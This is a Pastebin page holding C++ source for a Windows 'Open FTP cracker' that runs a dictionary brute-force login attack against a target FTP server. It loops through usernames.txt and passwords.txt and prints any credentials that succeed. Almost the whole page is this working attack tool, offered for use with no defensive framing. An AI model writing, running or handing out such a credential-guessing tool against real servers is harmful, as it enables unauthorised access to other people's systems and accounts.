3x5w4rup

Remote FTP cracker

Mar 2nd, 2015
631
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.95 KB | None | 0 0
  1. #include <windows.h>
  2. #include <wininet.h>
  3. #include <iostream>
  4. #include <string>
  5. #include <fstream>
  6.  
  7.  
  8. #pragma comment(lib, "Wininet")
  9.  
  10.  
  11. int main()
  12. {
  13.  HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
  14.  SetConsoleTitle("Open FTP cracker coded by Saha Swarup");
  15.  std::cout<<"Open FTP cracker beta 2.0 coded by Saha Swarup\n_________________________________________________\n"<<std::endl;
  16.  
  17.  std::string usernames = "", passwords = "", target = "", temp = "";
  18.  
  19.     //init wininet functions
  20.     HINTERNET hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
  21.     if(!hInternet)
  22.     {
  23.     std::cout<<"Error starting WinInet, please close this application"<<std::endl;
  24.     std::cin>>temp;
  25.     return -1;
  26.     }
  27.  
  28.    
  29.    //get files
  30.     std::ifstream user_reader("usernames.txt");
  31.     std::ifstream pass_reader("passwords.txt");
  32.  
  33.      //file error handling
  34.      if((!user_reader)||(!pass_reader))
  35.      {
  36.          std::cout<<"Error opening one of the input files "<<std::endl;
  37.          std::cout<<"ensure \"usernames.txt\" and \"passwords.txt\" are in the same"<<std::endl;
  38.          std::cout<<"directory as this application, please close this application\n"<<std::endl;
  39.          std::cin>>temp;
  40.          return -1;
  41.      }
  42.  
  43.      //get target server
  44.      std::cout<<"What is the target FTP server?:"<<std::endl;
  45.      std::cin>>target;
  46.    
  47.  
  48.      //get first username to be used in loop
  49.      getline(user_reader,usernames);
  50.  
  51.    //go through all passwords on one username then continue to next username until list has finished
  52.    int attempts = 0;
  53.    HINTERNET hFtpSession = NULL;
  54.  
  55.     while(!user_reader.eof())
  56.      {
  57.      SetConsoleTextAttribute(hConsole, 7);
  58.       attempts++;
  59.    
  60.          
  61.          getline(pass_reader,passwords);
  62.          std::cout<<"Trying username "+usernames+" with password "+passwords+" attempts "<<attempts<<" ";
  63.  
  64.          //Connect to FTP server with provided credentials
  65.         hFtpSession = InternetConnect(hInternet,target.c_str(),INTERNET_DEFAULT_FTP_PORT,usernames.c_str(),passwords.c_str(), INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0);
  66.        
  67.          //is password cracked?
  68.          if(!hFtpSession)
  69.          {
  70.              SetConsoleTextAttribute(hConsole, 12);
  71.              std::cout<<"= FAIL"<<std::endl;
  72.              InternetCloseHandle(hFtpSession); 
  73.          }
  74.          else if(hFtpSession)
  75.          {
  76.              SetConsoleTextAttribute(hConsole, 10);
  77.              std::cout<<"\n\nCracked "+target+"\nThe username is: \""+usernames+"\"\nPassword is: \""+passwords+"\""<<std::endl;
  78.              InternetCloseHandle(hFtpSession);     
  79.              break;
  80.          }
  81.          
  82.          
  83.  
  84.          if(pass_reader.eof())
  85.          {
  86.          //reset pass file
  87.          pass_reader.clear();
  88.          pass_reader.seekg(0,std::ios::beg);
  89.          //get next username
  90.          getline(user_reader,usernames);
  91.          }    
  92.     }  
  93.    
  94.    InternetCloseHandle(hInternet); 
  95.    pass_reader.close();
  96.    user_reader.close();
  97.    std::cout<<"\nFinished, please close this application"<<std::endl;
  98.    std::cin>>temp;
  99.    return 0;
  100. }
Add Comment
Please, Sign In to add comment